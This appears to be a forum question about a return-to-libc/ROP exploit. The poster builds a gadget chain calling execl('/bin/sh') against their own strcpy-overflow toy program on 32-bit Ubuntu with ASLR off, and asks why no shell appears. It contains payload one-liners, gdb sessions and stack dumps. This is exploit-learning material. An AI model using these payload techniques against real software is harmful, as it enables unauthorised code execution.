• caglararli@hotmail.com
  • 05386281520

ROP execute a shell with execl() – /bin/sh: 0: Can’t open

Çağlar Arlı      -    12 Views

ROP execute a shell with execl() – /bin/sh: 0: Can’t open

A vulnerable C program to stack buffer overflow, requires 112 byte stuffing to get to return address of the calling function. Here the Strcpy() is the vulnerable function.

void f(char *name){
  char buf[100];
  strcpy(buf, name);
}

void main(int argc, char *argv[]){
  f(argv[1]);
} 

Trying to write the rop gadgets to execute a /bin/sh shell by means of execl(). The exploit would be:

python -c 'print 112*"\x90" + "addr. execl()" + "addr. exit()" + "addr. /bin/sh" + "addr. /bin/sh"'  

From gdb these are the found addresses (ASLR disabled for test):

(gdb) print execl
      $1 =  0xb7eb7b60 <__GI_execl>
(gdb) print exit
      $2 =  0xb7e359e0 <__GI_exit>

(gdb) info proc map
 ...(output omitted)
(gdb) find 0xb7e07000,0xb7fbb000,"/bin/sh"
      0xb7f62b0b
      1 pattern found.
(gdb) x/s 0xb7f62b0b
      0xb7f62b0b:   "/bin/sh"

(gdb) run $(python -c 'print 112*"\x90" + "\x60\x7b\xeb\xb7" + "\xe0\x59\xe3\xb7" + "\x0b\x2b\xf6\xb7" + "\x0b\x2b\xf6\xb7"')
      Starting program: /home/marco/asm/execve/bypass_aslr/rop/prove/main $(python -c 'print 112*"\x90" + "\x60\x7b\xeb\xb7" + "\xe0\x59\xe3\xb7" + "\x0b\x2b\xf6\xb7" + "\x0b\x2b\xf6\xb7"')
      process 3161 is executing new program: /bin/dash
      /bin/sh: 0: Can't open UWVS��������
      [Inferior 1 (process 3161) exited with code 0177]

The same test using system() gives the shell.

I don't understand if the execl() is successful and if it's replacing the currently running process image.

Platform: Ubuntu 16.04 - 32 bit.

UPDATE: I added some gadgets to the exploit, and got back another result. In brief i added gets() to write the NULL byte as the third argument to pass to execl(). The exploit will write the stack in this order:

addr. exit()
fake byte (NULL will be written here)  
addr. /bin/sh
addr. /bin/sh
addr. pop\pop\pop\ret
addr. execl()
addr. where to write NULL byte
addr. pop\ret
addr. gets()        <-- ESP will be here when is time to return to caller            
112 NOP

from gdb i run the exploit, i type "new line" so gets() writes NULL to the provided address, and the result is:

[Inferior 1 (process 2793) exited normally]

This time no errors, but again no shell.

EDIT2: this is the stack after gets() is executed and before execl().

The commands under gdb i used to take the stack layer:

(gdb) b 10     --> this is to stop after strcpy() in the .c code
  Breakpoint 1 at 0x8048497: file main.c, line 10.

(gdb) run $(python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x42\x42\x42\x42" + "\xd0\x79\xe3\xb7"')

  Starting program: /home/marco/rop/main $(python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x42\x42\x42\x42" + "\xd0\x79\xe3\xb7"')

 Breakpoint 1, func (name=0xb7e2d06e <__ctype_get_mb_cur_max+30> "X\303U\350\343\272\017") at main.c:10

 (gdb) b *execl
  Breakpoint 2 at 0xb7eb9a80: file execl.c, line 31.

 (gdb) c
  Continuing.

  Breakpoint 2, __GI_execl (path=0xb7f64a0b "/bin/sh", arg=0xb7f64a0b "/bin/sh") at execl.c:31
  31    execl.c: File o directory non esistente.

 (gdb) x/x $esp
  0xbffff5ec:   0xb7ef334f

 (gdb) x/x $esp+4
  0xbffff5f0:   0xb7f64a0b

 (gdb) x/x $esp+8
  0xbffff5f4:   0xb7f64a0b

 (gdb) x/4x $esp+12
  0xbffff5f8:   0x00    0x42    0x42    0x42

 (gdb) x/s $esp+12
  0xbffff5f8:   ""

Please note, this test was executed from another Ubuntu 16.04, and the addresses are now:

"\xe0\x83\xe6\xb7" +   -> gets()
"\x6e\xd0\xe2\xb7" +   -> pop/ret
"\xf8\xf5\xff\xbf" +   -> address where to write NULL
"\x80\x9a\xeb\xb7" +   -> execl()
"\x4f\x33\xef\xb7" +   -> pop/pop/pop/ret
"\x0b\x4a\xf6\xb7" +   -> addr. /bin/sh  
"\x0b\x4a\xf6\xb7" +   -> addr. /bin/sh
"\x42\x42\x42\x42" +   -> fake address to be overwritten
"\xd0\x79\xe3\xb7"     -> exit()